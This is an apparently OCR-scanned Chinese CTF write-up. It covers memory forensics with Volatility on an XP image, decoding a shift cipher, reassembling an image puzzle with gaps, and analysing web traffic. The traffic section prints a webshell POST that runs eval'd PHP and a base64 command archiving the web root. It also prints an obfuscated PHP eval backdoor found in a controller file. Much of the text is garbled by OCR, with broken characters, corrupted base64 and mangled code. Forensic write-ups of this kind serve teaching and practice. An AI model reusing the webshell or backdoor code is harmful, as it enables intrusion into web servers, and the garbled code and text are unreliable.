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IS B pslist

D:\tool\qz\volatility\volatility_z.6_win64_stanaaloﬁe
A volatility 2.6 wine4 standalone.exe -f D:\download\xp sp3\xp_sp3.raw imageinfo

Volatility Foundation Volatility Framework 2.6

INFO : volatility.debug

Suggested Profile(s) :

AS Layerl :

AS Layer2 :

PAE type :

DTB :

KDBG :

Number of Processors :
Image Type (Service Pack) :
KPCR for CPU © :

KPCR for CPU 1 :
KUSER_SHARED_DATA :

Image date and time :

Image local date and time :

: Determining profile based on KDBG search...

WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
IA32PagedMemoryPae (Kernel AS)

FileAddressSpace (D:\download\xp_sp3\xp_sp3.raw)
PAE

©x764000L

@x8054e2e0L

2

E

exffdffeeeL

@xf87570ee8eL

exffdfeeesL

2021-12-27 ©2:37:41 UTC+0000

2021-12-27 10:37:41 +0800

D:\tool\gz\volatility\volatility 2.6 _wine4_standalone

tility 2.6 _winé4 standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 pslist > 1\ps/txt
kA 26 E AR

D:\tool\gz\volatility\volatility 2.6_win64_standalone
A volatility 2.6 wine4 standalone.exe -f D:\download\xp sp3\xp_sp3.raw --profile=WinXPSP2x86 pslist > 1\ps.txt
Volatility Foundation Volatility Framework 2.6

D:\tool\gz\volatility\volatility 2.6_win64_ standalone
A volatility 2.6 wine4_standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 filescan > 1\file.txt
Volatility Foundation Volatility Framework 2.6
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HEREA XABER, 3c0EFMEAEES

_|psitxt - iBEA
MAHF) #R4E(E) 183L(0) EJE(V) HEI(H)

Ox81c47308 svchost.exe 3488 712 5 128 0 02021-12-27 01:40:27 UTC+0000

0x81fd27e8 softupnotify.ex 2936 916 0-------- 0 02021-12-27 01:40:40 UTC+0000 2021-12-27 01:40:40 UTC
+0000

0x819b0970 mspaint.exe 3888 1904 9 258 0 02021-12-27 01:44:37 UTC+0000

0x81a08dal conime.exe 3260 2124 9 183 0 02021-12-27 01:44:47 UTC+0000

Ix81d68a50 IEXPLORE.EXE
0x819d6a18 wdswfsafe.exe
0x819¢98a0 softupnotify.ex
+0000

3748 1904 21
2136 916 4 70 0
884 916 0 -------- 0

578 0 02021-12-27 01:44:52 UTC+0000
02021-12-27 01:44:52 UTC+0000

02021-12-27 01:44:52 UTC+0000 2021-12-27 01:44:52 UTC

Ix81c2b2f0 IEXPLORE.EXE 3976 3748 37 1374 0 02021-12-27 01:44:52 UTC+0000

0x819b23b0 softupnotify.ex 1916 916 0 -------- 0 02021-12-27 02:00:18 UTC+0000 2021-12-27 02:00:18 UTC
+0000

0x81¢33630 softupnotify.ex 972 916 0-------- 0 02021-12-27 02:03:28 UTC+0000 2021-12-27 02:03:28 UTC
+0000

0x81f2c7e0 notepad.exe 2976 1904 6 180 0 02021-12-27 02:27:06 UTC+0000

0x81c7f630(360zip.exe 3388 1904 10 366 0 02021-12-27 02:28:39 UTC+0000

Ix81d4d020 2345PicViewer.e 3812 1904 23 378 0 02021-12-27 02:36:41 UTC+0000

0x81923020 taskmgr.exe 3628 668 9 188 0 02021-12-27 02:37:11 UTC+0000

0x81c30da0 Dumplt.exe

3300 1904 1 16 0

02021-12-27 02:37:38 UTC+0000

cmdiz {7 it AR Pt AT LLENE, R ILA flag.zipFiflag.png

A volatility 2.6 _win64_standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 cmdline
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filescanEX i flag.zipFiflag.png

A volatility 2.6_win64_standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000
0000017ad6a8 -D ./

Volatility Foundation Volatility Framework 2.6

DataSectionObject @x017ad6a8 None  \Device\HarddiskVolumel\Documents and Settings\Administrator\®IHiE\flag.z
ip

SharedCacheMap @x017ad6a8 None \Device\HarddiskVolumel\Documents and Settings\Administrator\%UHi&\flag.zip

A volatility 2.6_win64_standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000
00000165028 -D ./ -n

Volatility Foundation Volatility Framework 2.6

DataSectionObject 0x01e65028 None  \Device\HarddiskVolumel\Documents and Settings\Administrator\®IHiE\flag.p
ng

flag.zip R A IR, W Lhwinrarf] B IBEE

B rebuilt.file.None.0x81a36<f8.zip —
EZE(F) 180 THR(S) ZMSE©) BEAN) RIEH)
SRR =EEERT DO e =
T L= | u JJI !E!L§ “\\ W L— y . \
A mRERgRZ) I i ulll= =5 S &atl Bhes atfE B
¢ |ﬁ rebuilt.file.None.0x81a36cf8.zip - ZIP [F4&HE, A=A\ 336 izTiA

~

== AN HEEE e e B HE CRC32
.. sk
_ encrypttxt * 336 213 MANRY 2021/12/27 7:57 3BA0OGEF1

E R ICEA B 20211209



A volatility 2.6 winé4 standalone.exe -f D:\download\xp_sp3\xp_sp3.raw --profile=WinXPSP2x86 notepad
Volatility Foundation Volatility Framework 2.6
Process: 2976

Text:

IV

20211209(encrypt)
2PPRP2P222222222222222?

encrypt.txtf] N &

//HILEAKERIIME (45
void Encrypt(string& str)

{
for(int i = @; i < str.length(); i++)
{
if(str[i] >="a'&& str[i]<="w")
str[i]+=3;

else if(str[i]=="x")
str[i]="'a";

else if(str[i]=="y")
str[i]="b";

else if(str[i]=="z")
str[i]="c";

else if(str[i]=="_")
str[i]="]";

str[i] -= 32;

}

}



flag.png N &

FDCE [8LDQ?ZLO0?FHUYDLA0B?
VXFFHHG?LA?ILTKWLAT?WEH?
HSLGHPLF]

FDCB[8LDQ?ZL0O0?FHUHDLQOB?VXFFHHG?LQ? ILIKWLQJI PWKH?HSLGHPLF]

i A

e = "FDCB[8LDQ?ZLOO?FHUHDLQOB?VXFFHHG?LQ?ILIKWLQJ ?WKH?HSLGHPLF]"
d = "
for i in e:
i = chr(ord(i)+32)
if 'd'<=ic="z":
i = chr(ord(i)-3)
elif i=="a":
i="x'

elif i=='b'

d += 1
print(d)

cazy{Xian_will certainly succeed_in_fighting the_epidemic}

i@ IRT:

%= i hitndi B 17 A& secret txt
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(NI &midiess - <ctrl- <]+

Yo Time M Wireshark - St - HTTP 535:51% - o X o
1361 2021-12-25 12:49:44.757 Alive ACK] 53879 - 60439 [A

1363 2021-12-25 :44.857 9 s Ali ACK] 53877 60439 [A
i A ENE WEEE AN XHE ive ACK] 2 L

Leloes Aol 1 CK 1346#3] 8698 - 53088 [A(
’j 1061 localhost text/plain 1315kB secret.txt ) N 7] tele ) 8 [
1365 2021- ¢ CK 1347#3] [TCP ACKed unsee

50:00.213

i
‘ 1362 2021-12-25 12:49:44.857] rAidiEs:: ‘secre| Content Type: All Content-Types v |Alive] 60439 - 53877 [ACK]
|

I :

! 25 g

|

i

1366 2021-12- 8 Alive] 60439 » 53879 [ACK]
1367 2021-12-25 12:50:00.213 Alive ACK] 53879 = 60439 [A
1368 2021-12-25 12:50:00.213. Alive] 60439 - 53877 [ACK] —

< >

Frame 1368: 44 bytes on wire
Null/Loopback

Internet Protocol Version 4,
Transmission Control Protocol

| secret.txt - DA — O x

MAHF) $RIB(E) 1830(0) BE(V) #ANH)
UEsDBBQAAAAAAAIMVYMAAAAAAAAAAAAAAAAGACAAYZ2hpcHMYWVQNAAe3oMZhxqDGYcagxmF1eAsAAQTT1AQAABBQAA ~
ABQSWMEFAAIAAgAC2WZUWAAAAAAAAAAOGAAABAAIABFX01BQOITWCBUX2NoaXBzVVQNAAe3oMZhxgDGYcagxmF1eAsA
AQT1AQAABBQAAAB|YBV]Z2BiYPBNTFbwD1alUIACkBgDJXAbATECIAbxLzZEQBRxDQoKgTJCOFUCshaaEESGukpyfq5dYUJCTgpe
bWpKYkliSaBWf7eviWwZKaG1qcWhSSmF7MwJBUKINZXGJgslADagAjkknlgBMAUESHCIbeAghtAAAAOgAAAFBLAWQUAAQACAD
UYSITAAAAAAAAAAB8aAAADgAgAGNoaXBzlLzkyODAucG5nVVQNAAdwnsZhHKDGYRygxmF1eAsAAQTTAQAABBQAAADst/V
bVN8bNrgBAYYQhpCQGNDoDiIWVcKgRIRGBQSSkQ1q6u7tTgRGRFgZEOiISkQUKQUGKkGYQGDt/3h/P+cv6D87mva
+31rLX3Xteq537u)1pbU/UO6T1SAADugKvBkbe1xf8KGP/2eROETWAAKE+ WBuUpWz54BfLddYAA/OhYA3Vpdtw2xTWaA
+LYmv21z3RaAefP/fPMf/sN/+A//4T/8h/+/gjCIAPifilkC9TRBBSaD/105LSf4/NoGICACkpPxf+/
+qChD7/wb4T038h//wH/7Df/gP//
+GmliYqlyomlyYOPTWeCAply71/9kHAPHfVokAQD9eHab065X3AudZj/75li1qp3VU2qTIfDFzqTyvXOaF6jumvypQIASILMkSOGFF
pMHt4m3sBQfNtg/i5OxRp14Z0vdQNHL3h7PoOM3UksRIqGFiOTbvmsfLvpZ/4m/zOXH9Iu2/EbY]j7/ig5Hzax37h7Np7yXP38eU2ju
yyO/UuGwBRAFMRmMOFAyhmaXDQNDcbVqsGFHzbcxailUJOxP7NCrGIVHAqcE6B/uUvOpEsehY2elKzoYw
+EjZqrcSpWcD946FVWCi189i39WaE1aOAYcDJSPMr
+V2cqV7UsoZD7uK7YVYOXveGBN27vIXYyQQNqalnHT1YBWy4 +KF3UWuqSh3a07THffCh8HnmxMWmtmrlCBMIjJ5dyM30hIF33
g+hyxZPt55Z6IW5MRRfd
+E7bAd385e09569GILsYWXANLWWdodHSp2XPvcummDRLSqalDS6dW6enH5teOR6n4vwkwblQT6t1EWZzUOOVWXUTVKTZTXGK
MRNT3z+PDwDxgF3n75nbpWIiFKErNraxYmqQIluQpFTRagjbnxgx+Iz3FCGZg0pg/SyYepflONEvw5eVeqFQnvrT2zmy
+e6eN281ckYL5Ac478wdplYKmbTsd8bnoj7IVp73zsWkuUrkldg6auisfkVVOe7sBDrjes/dSn9uxsefLI4H74VD4e2SeZqlOsuRZtt55iq
JRWUBFxuOTjXt7fL340lCO00JKdOQsbGxjYALmyc+03PjNu7bs7WFN
+eFS70zs/Pzsr672 +vr615yGUgPGRYrR4ktRcgPPkt7DVrlyfEv/UeUTr .
25117, 21314846 5 100%  Unix (L) UTF-g25DN @shuss

base64f## (https:/fthe-x.cnbase64) , KIMEELHE

Base64 fE46#RID. YmhD

#iBase64 ~ CSSBase64  DESIIZVfEZ  SDESIIZRE  AESTIERE  RSAINE/EE

UEsDBBQAAAAAAALIMYM GACAAYZhpcHMvVVQNAAe3oMZhxgDGYcagxmF 1eAsAAQT 1AQAABBQAAABQSWMEFAAIAAgA
C2WZUWAAAAAAAAAADGAAABAAIABIX01BQOSTWCBUX2ZNoaXBzVVANAAE30MZhxqDGY cagxmF 1eAsAAQTTAQAABBQAAAB]YBV]Z2BIYPBNTFb
wD1alUIACKBgDJXADATECIAbXLZEQBRxDQoKgTJCOFUCshaaEESGuUkpyfqsdYUJCTqpebWpKYkliSaBWITeviwZKaG1qcWhSSmF7TMwJBUKJNZXGJ
gslADagAjkknlgBMAUEsSHCJbeAghtAAAAOGAAAFBLAWQUAAGACADUY SITAAAAAAAAAABBaAAADGAgAGNoaXBzLzkyODAUcGSNVVQNAAdwnsZhH
KDGYRygxmF1eAsAAQT 1AQAABBQAAADsHVbVNSbNrgBAYY QhpCQGnDoDIWVCKgRIRGBQSSkQ1q6u7tTgRGRFgGZEQiSkQUKQUGKKGyQGDU3h/
P+cvBD87mva+31rLX3Xteq537ud1pbU/UOBT 1SAADUgKvBkbe 1xI8BKGP/2eROE TWAAKE+WBUpWZz54BfLdd YAA/OhYASVp4tw2xTWaA+LYmv21z3RaAe
fPAPMI/sN/+A/4T/8h/+/gjCIAPIfiKC91RBBSaD/105L Sf4/NoGICACkpPxf+/+qCbD7/wb4T038h//wH/7 Df/gP//+GmliYglyomlyY OPTWeCAply 7 1/9kHAPHf
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26.12KByte
172Byte _ MACOSX/chi
15.07KByte chips/ .png
172Byte _ MACOSX/chips/._7125.png



te _ MACOSX/chips/._

17.42KByte chips/1220

172Byte  MACOSX/chips/. 1220.pn
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montageflgap % 3 1 it 2% K%
https://blog.csdn.net/m0_47643893/article/details/113778577
https://www.cnblogs.com/bhxdn/p/14094717 .html
https://github.com/nemanja-m/gaps

SIEE A EH K

sudo apt-get install montage
montage *.png -tile 8x6 -geometry +0+0 flag.png

File Edit View Go Help

0y

SR 5 A gapsHtE

gaps --image=../flag.png --size=100 --save

1t [Zip] Zip-based or zip file
BEA - ZipXiE
BINES :

Encrypted:false

Files:100
Total Size:1182014

BTRREERAES
EURICES : 986,604 Bytes
148 - 18, #Ad: 22ms
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p3@p3-virtual-machine:~/ctftool/gaps$ gaps --image=../flag.png --size=100 --save

=== Population: 200

=== Generations: 20

=== Piece size: 100 px
Pieces: 900

Analyzing image:
Solving puzzle:

GA terminated
There was no improvement for 10 generations

Done in 257.731 s

Result saved as '_solution.jpg’

Close figure to exit
p3@p3-virtual-machine:~/ctftool/gaps$ [}

B8R - solutionjpg 77%
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cazy{make_XiAN_great_Again}

IR T =%

ez_Encrypt
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GET /public/webl123 HTTP/1.1

Host: localhost

User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0. 8
Accept-Language: zh-CN, zh;q=0. 8, zh—-TW;g=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en;q=0. 2

Accept—Encoding: gzip, deflate

Connection: keep-alive

Upgrade—Insecure—-Requests: 1

Sec—Fetch—Dest: document

Sec—Fetch-Mode: navigate

Sec—Fetch-Site: none

Sec—Fetch-User: ?1

If-Modified-Since: Mon, 27 Dec 2021 06:30:20 GMT

If-None-Match: “1245la—5d41ad6b87e79”

HTTP/1.1 200 OK

Date: Mon, 27 Dec 2021 06:40:22 GMT

Server: Apache/2.4.48 (Debian)
Last-Modified: Mon, 27 Dec 2021 06:40:16 GMT
ETag: ”124470-5d4lafa47656¢c”

Accept—Ranges: bytes

Content—Length: 1197168

Keep—Alive: timeout=5, max=100

Connection: Keep—-Alive

UEsDBBQAAAAAAMhOmIMAAAAAAAAAAAAAAAAEACAAYXBWL1VUDQAHWE/ JYVhfyWFYX81hdXgLAAEE
9QEAAAQUAAAAUESDBBQACAATAMhOmIMAAAAAAAAAANTAAAAOACAAXTINQUNPUL gvL19hcHBVVAOA
B1hfyWFYXS1hb1/JYXV4CwABBPUBAAAEFAAAAGNgFWNNYG Jg8EIMVvAPVohQgAKQGAMNEBsBSQIg
BvEvMRAFHENCgqBMkI4VQKyFpoQRIa6SnJ+rl1hQkJ0ql5otakpiSW] JoFZ/t6+]ZkpobWpxaF JKY
XszAKFSQk11cYmCwgANGACOSSciAEwWBQSweI1t4CqGOAAADSAAAAUEsDBBQACAATANKoKFMAAAAA
AAAAAAABAAANACAAYXBwL2V2ZW50LnBocFVUDQAH3TmZYY1 TyWGNU81hdXgLAAEE9QEAAAQUAAAA
sTEvyCjg0tdXeLKr+8nublU/XzXqys/PZtHYgm6sotaSOKE8hmksBCNSTMvNS 1BXAWNYOKhirwwWR
zMksLknNUOeRBEs4FhR45mWWqEPEgerhMh41 JQVBpXk4ZFzB1gHL+0Sn+6SWpeaoYoMJL8osSUWR
gTuvuDSpOLkoMwkaDZOMt eYCAFBLBwhGtdZWhQAAAAABAABQSWMEFAATAAgAXHShUWAAAAAAAAAA
BCAAAAOATABhcHAVLKRTX1INOb3J1VVQNAAdRXS1h21vIYVFLyWF1eAsAAQT1AQAABBQAAADtWVts

1 EF5 4, 1 RBEaH HH. 1 turn(s). CSDN @shuZk

HrEEE, o8 aLPITHRE

- = R A e e
htip
Yo. Time Source Destination Protoc Length  Info

45 2021-12-27
47 2021-12-27
57 2021-12-27
59 2021-12-27
69 2021-12-27
71 2021-12-27
812021-12-27
83 2021-12-27
93 2021-12-27
95 2021-12-27
105 2021-12-27
107 2021-12-27
i 117 2021-12-27

.0l.. activate.navicat... activate.navicat.com HTTP 4383 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
.01.. activate.navicat... activate.navicat.com HTTP 414 HTTP/1.1 200 0K (text/html)

.66.. activate.navicat... activate.navicat.com HTTP 4416 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
.66.. activate.navicat... activate.navicat.com HTTP 442 HTTP/1.1 200 OK (text/html)

.51.. activate.navicat... activate.navicat.com HTTP 4481 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
.52.. activate.navicat... activate.navicat.com HTTP 416 HTTP/1.1 200 0K (text/html)

.41. activate.navicat... activate.navicat.com HTTP 4412 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
.42.. activate.navicat... activate.navicat.com HTTP 294 HTTP/1.1 200 OK (text/html)

.01.. activate.navicat... activate.navicat.com HTTP 280 GET /wpad.dat HTTP/1.1

.01.. activate.navicat... activate.navicat.com HTTP 539 HTTP/1.1 484 Not Found (text/html)

.32.. activate.navicat... activate.navicat.com HTTP. 4410 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
.33.. activate.navicat... activate.navicat.com HTTP 425 HTTP/1.1 200 0K (text/html)

.61.. activate.navicat... activate.navicat.com HTTP 4477 POST /public/shell.php HTTP/1.1 (application/x-www-form-urlencoded)
119 2021-12-27 .77.. activate.navicat... activate.navicat.com HTTP 295 HTTP/1.1 200 OK (text/html)

129 2021-12-27 :22.24.. activate.navicat... activate.navicat.com HTTP 642 GET /public/webl23 HTTP/1.1

292 2021-12-27 14:40:22.28.. activate.navicat... activate.navicat.com HTTP 2131 HTTP/1.1 200 OK

<
vHpertext Transfer protocol
. POST /public/shell.php HTTP/1.1\r\n
Host: localhost\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/s5.@ (Macintosh; Intel Mac 0S X 10 7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 safari/534.53.1e\r\n
Content-Type: application/x-www-form-urlencoded\r\n
> Content-Length: 4115\r\n
Connection: close\r\n
\r\n

[HTTP request 1/1]

File Data: 4115 bytes
v HTML Form URL Encoded: application/x-www-form-urlencoded
> Form item: "cazy” = "@ini_set("display_errors”, "e");@set_time_limit(e);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bas"."322";echo @asenc($output);echo "6fd:
> Form item: “fe52cc8ae5662a" = "EEL2IpbigzaA=="
> Form itel "w844661a730e14" "gv"
> Form item: “zafceda3bobel9" = "K2v2QgIi92YXIvd3d3L2hebhwvcHVibG1jIjtivXNINjQgd3d3LnppcCA+THALYjEyMzt1Y2hvIFtTXTtwd2Q7ZWNobyBbRVO="

0160 20 63 6c 6f 73 65 0d 0a
0170 3 5f 73 65
(SR 70 6c 61 79 5f 65 72 72
0190
01a0
01b0
01co
o1de
01ed
e1fo

0210
0220
0230
0240
0250
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cd "/var/www/html/public";base64 www.zip > webl23;echo [S];pwd;echo [E]

R IEwww.Zip i) & {3 base 4 iY Fiweb 123 7

Base64 Encoding Encode Decode

Pattern

Baseb4 hd

Y2Qqgli92YXIvd3d3L2h0ObWwvcHVibGljljtiYXNINjQgd3d3Lnp  cd "/var/www/html/public”;base64 www.zip > web123;echo
pcCA+IHdIYJEyMztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0= [S];pwd;echo [E]

CSDN @shuizx

¥ izip

WYINAAAAXAAAAFQAIAAAAAAAAAAAAKSBETELAHZIbmRvciYUb3BUaGluayYmemEtZXdvemsvedd)
L3RoaW5rL2NvbnNvbGUVY29tbWFuZCOtYWtL3NOdWJzL 2NvbnRyb2xsZXlucGxhaW4uc3R1YIVU
DQAHAeX4YJtTyWGbU8IhdXgLAAEE9QEAAAQUAAAAUESBARQDFAAAAAAAEGEbUWAAAAAAAAAAAAAA
AAUAIAAAAAAAAAAAAO1BZPILAHZPpZXcvVVQNAAexUSIhtIPJYRNWYWF 1e AsAAQT1AQAABBQAAABQ
SWECFAMUAAGACAAQDptTIt4CqGOAAADSAAAADWAGAAAAAAAAAAAATYELbBwWsAXTONQUNPU1gvLI92
aWV3VVQNAAexU8BIhtIPJYWOfyWF 1eAsAAQT 1AQAABBQAAABQSWECFAMUAAGACADSqJBTetbpUzIA
AAAIAAAADgAgAAAAAAAAAAAAPIHIBwsAdmMIIdy8SRUFETUUubWRVVAOAB905u2GSUSIhkIPJYXV4
CwABBPUBAAAEFAAAAFBLBQYAAAAAOAMAAZZRAQBZIASAAAA=

-
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,,,,,,,,,,,,,,,,, 14 [Zip] Zip-based or zip file

OByte  app/ BER : zip3iE
210Byte  MACOSX/. app

MIINES. -
256Byte app/event.php
B.00KByte app/.DS_Store Encrypted: false
120Byte _ MACOSX/app/. .DS Store Files:824
266Byte app/AppService.php Total Size:2576753
137Byte app/service.php
OByte app/controller/ BTRERAEE O
210Byte  MACOSX/app/. controller HOEICEE : 886,214 Bytes

1.37KByte app/ExceptionHandle.php
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# \app\controller\index.php

<?php define('IK1Sux1227', FILE_ );$DusPFr=base64 decode("bjF6YiotYTVcdnQwaTI4LXB4dXF5KjZscmtkZz1fZWhjc3dvNCtmM
zdqZHF@d31pT2VBY1VaTHBDdUhuYmlndkZzZ1INhUF1sTUpCTmpSVmtLeFFEVFdIcnpFblhHaA==");$arCiCL=$DusPFr[3].$DusPFr[6].$Dus
PFr[33].$DusPFr[30];$VvUrBZ=$DusPFr[33].$DusPFr[10].$DusPFr[24].$DusPFr[10].$DusPFr[24];$DEomKk=$VvUrBZ[0].$DusP
Fr[18].$DusPFr[3].$VvUrBZ[0].$VvUrBZ[1].$DusPFr[24];$LnpnvY=$DusPFr[7].$DusPFr[13];%$arCiCL.=$DusPFr[22].$DusPFr[
36].$DusPFr[29].$DusPFr[26].$DusPFr[30].$DusPFr[32].$DusPFr[35].$DusPFr[26].$DusPFr[30];eval($arCiCL("IFZDQ1lpRVz
01Z29NVFFoZXFpYVVPAWItWWZSS1INyaldObmRFc1BaR2pBS3BDVNRCSUh3REZ4AY3pYTGx2eV1UY21VdVBuZ3BzeXFib@9saGpGSVpOU3d6bU1IR3
ZEeHRrWFZhV2ZkQUpFclJLTENCUWVIS]j1BcGRAWUd2VmOwWT jVCdFheWmhCdXVwiWmZyYORmM2plcmpGMnIpekxZcmNEZjNOaU1aR21gbmkwOWpITm
p1lUjJzM1INFOVpHT1INRR3ZzVGZvam50REdHcG1CMESWaE5PMmhxc@x6dVZtWjBpRXVYU3ZoT2hEVKNWQmMtLTzIXxMHAxazZidkdwVjJ1bk9LU1p6W]
VKenYxU1BvaHIPMXo0ekV6cW1EVkdjMUAVVNYXxQXMxU3ZVIWjVzRkVrVFZaVk1iVkVMROVGRGICZktWMHVBek5tQXpkekZoVmtrc@5ycGIxekOwRW
hwVktCd1ZEV1podkVMc@IHaUdLMD1mZ103am1rM2JadTFWSzBaR21gbmkwOWpOSIN6Q2doW1lVva®hpMEJiU@IwcWp2aFhwij1IR1ZNS2MXMHFqdm
hYcFo5SEZWTUtjRTA3amRHaGl2emRGSzBaR21qbmkwOWpOS2NLTEYOWkdtam5pMD1qTkttQUXGNFpHbWpuaTAS5ak5LZjBMRjRaR21gbmkwOWp0OS2
1BTEYOWkdtam5pMD1gqTktmMExpTVpOTkdNendHc®hGabDIzc3I3aDBhYmNFMHFqdmhYcFo5SEZWTXI5RTBxanZoWHBaOUhGVk1LTEYOWnpCRWNHMH
pDTktXekNnaDJzc3J3aDBhYmNWMHF qdmhYcFo5SEZWTWVTRTA3anYXRVVWRXZPSzBaR21gbmkwOWpOS3p6Q2doWlVva®hpMEIiY21Tenl1laHREM]
VmelZScUhGaFpVb2tIaTBCYmNEanpDZ2haVWOrSGkwQmJjSedeQ2doWlVvadhpMEIiYORCekNnaFpVb2tIaTBCYmNER3pDZ2haVWOrSGkwQmljSl
d6Q2doW1VvadhpMEJiYOtgekNnaFpVb2tIaTBCYmNLVNpDZ2haVWOrSGkwQmJjREA6Q2doW1VvadhpMEJiYOtXenkyVjIPTkFUamlrM2JadTFWZV
1nR1pWcG1WVHISZGtOCERXalZFVjBSQLlR1UBXx0oc2h0Ock1zTnIwcEIqTO5vQlpoTmhFRO5ShVEOWROS5HbWpaVjFUS1YwenZTVmphUEVWREZENTVOWN
pBaHZmZXBFalZjb3JpczJyTVNFVUtoWjlWaFZqS1Z2NU16V1RBekVXZ2hOdUZPS2pwczFaS@5CekIidmhTV1pWeXBWQk5SS1dwVk5yTk9EVOS50oMV
ZkYkV0oZ1ZOVUtWRXVYUHZWZHNCQ1lpWb3J1czIXxQVBORUVOWMpCcGOYTVZCVjRwd1ZWaEI1eWhKV2tpS2p0Y@ICTHoyOXRQRF1IRndaMHAXU3FHZF
ZpRkVHTOYWUOZjQ1ZWUHY1RmNkU1FGWkdNYk5qZk5Eak5VMnpJc29hNGICenFpQnpjVTFgMHNCVNZzQmphaUxFU3BOYUtGWkdNYk5qZk5Eak5VMn
pJc29hNGICenFpQnpjVTFGMHNCVNnZzQmphaUxTdGhLRXZzVkd2aDFCNXAzU3Rob3JhT1p1cGNCROpHMMFGCDN1cVYYyNX1IWMHItVUXTdGhLRXZzVk
d2aDFCNXAzVONzMkOzZmdaa31LOCtIS]1BcGRAWUd2VmOwWT jVCdFh6ZEdOU3RiczRyYORMM2plcmpGMnIpekxZcmNEZjNOaUlaaEJrUVBtajBITm
p1UjJIzMINFOVpHTINRR3ZzVGZvam50REdHcG1CMESWaES5PMmhxcOx6dVZtWjBpRXVYU3ZoT2hEVKNwQmMtLTzIXMHAXazZidkdwVjJ1bk9LU1p6W]
VKenYxU1BvaHJIHc1ZaVnZtZVNMekRiRVQyTOtFRk52aGFWWMhWYm1HME9OMVROTKVPYKVFWMNOC1VzS1dGekIJFSWItYUSWMEduc1ZzMXBWalZwZF
NwRmMIHdXNVNUZjVmhkTm81c3NpMD1ImZ1lo3anYxcVYydW1lGSjBaaEJrUVBtajBOS1N6Q2dodk5vOTRVd2hiU@IwcWptR3BiM3VYekVNS2MxMHFgqbU
dwYjN1IWHpFTUtjRTA3akVHR1YyUzRHSjBaaEJrUVBtajBOS2NLTEYOWmhCalFQbWowTkttQUXGNFpoQmtRUG1IgMESLZjBMRjRaaEIrUVBtajB0S2
1BTEYOWmhCalFQbWowTktmMExpTVpPTkdWekJ6c®hGaE50VNpEUHZoYMNFMHF gbUdwYjNIWHpFTXISRTBxamlHcGIzdVh6RULILTEYOW1ZCQkxPM3
VaTktXekNnaE50VnpEUHZoYmMNWMHF gbUdwY jNIWHpFTWVTRTA3anZCWnoyc1NzSzBaaEJrUVBtajB0S3p6Q2dodk5vOTRVA2hiY21Tenl1laGFiQn
pUczBZcUhGaHZObzk@VXdoYmNEanpDZ2h2Tm85NFV3aGJjSed6Q2dodk5vOTRVd2hiYORCekNnaHZObzk@VXdoYmNER3pDZ2h2Tm85NFV3aGIjS1
d6Q2dodk5vOTRVd2hiY@tgqekNnaHZObzk@VXdoYmNLVnpDZ2h2Tm85NFV3aGIjREA6Q2dodk5vOTRVA2hiY@tXenkyVjIPTkFUanYxcVYydW1GWF
1nR1p6CcHMXVNFzRGhHUERXal1ZOYTRpMmhJY210QmJIOdW5zW1Zwc3ZoRUZCekZjcOdlczF1WnpWa2RjTEInaEJqTnNpVzBobOVMR3YxQ1lZvcnIWaV
NSUEVFT1VaYVpObWprczB6TnBFenZHZGpnYzFmMXMxek1SQlpyaW81R1ZzRzRPREVGT1ZWRUdA2ckZWTGhKVm1zcnMyU2RTVmpOY@JrS3NaRO1oRW
hITndrWmNEbTIWMEdwY@JTZFJ2Qk50RU8wczI1dHN2RWRZRGpoVnZySnMyNUSWMmp2VkITRFZCanZPMMFNVTJIjQX1za2dwM2hmTzFWdHB2UGXpRF
NOVmlacmlzenZzMD1PUkVHRmNzamRPRFdOcDIqRWNMQm1WS1ZjcORTd1UxQk90ob2twY1o1NXMxUjFibTFuYmRFc@5FR2pPVkdORkVazVNOdVpjMl
dLTm9ydEZvVnFpd@JpV1olY3NaUjFSVmpWROVFeWhMaGZWc2hGaUImc1V3RUZORUd1c21gqTnMyU@5pWkdOY3ZyQVZCVjRjRWpNVkxCR2MzV3ZPMm
EwUjIWRUZvYWhjZGhhVm9heXB2aE5VQmtOVk50MUdKVzBGRWpzaEJHVNAYyYTNzMkOOUOSFSXptdWdiTFd2cORFV2N2amRObz1naExoYVZvYX1pdm
hPUmRTaWNCa®xzaVcwY1ZHSWlacnBiZFdrc@IHTWhFVEFWQ1ldTVnNreUdFelRwMVNmaGlWWk5FamhHbUdORNMwc1IkVOdWMWt5VkV6NHp2am5Hd j
FMVkJIrbXNLanBWMW1BenYxTnAwWNWNOb3JwaEVjS1ZCRXViclY1VnNWcEYxVUtoREdpY1pra@9vMTRGRVNKR3Z1U232UzVzMXVFUO5FRVZCV21WMn
J2cORFWNAXU2ZoaVZaTkVqaEdtRO5GczByUmRXR1Yxa31WRXo@enZFbUd2MUxWQmttcOtqcFYxbUF6djFOCDA1SES5CekZoRWN1TkI6aGNkaGFWb2
F5aXZoVnBkVnNORUdoc29yTk5CRO1iRUVTYm1mMk8za2pTVkdFemR1WmgycmNzW1ZNT1ZVZVNOcnBjZGgOTkRqdEZzMXFodOVpYOVqdEOWRO5zRU
9BaUJqU3BCanFzS1NaU29gRXp2MU5wMDVjROVOWFIxa@1iRXpoY2RoYVYyYXRpQlVBcEpHaXBLQmVzaVdOaVZWZFJkalNjMWprVkJoamNFbWVWQm
haaEVUMFZEajBVMUdOaFpriWmJFR3BzaWp@Y1Z6Tk5aaGljQmt1aURqcESCRO1pWNnIwYkVrbXNLanBWMW11aEJTVmhtanlPMmFUU1ZjZU5aNVpjMD
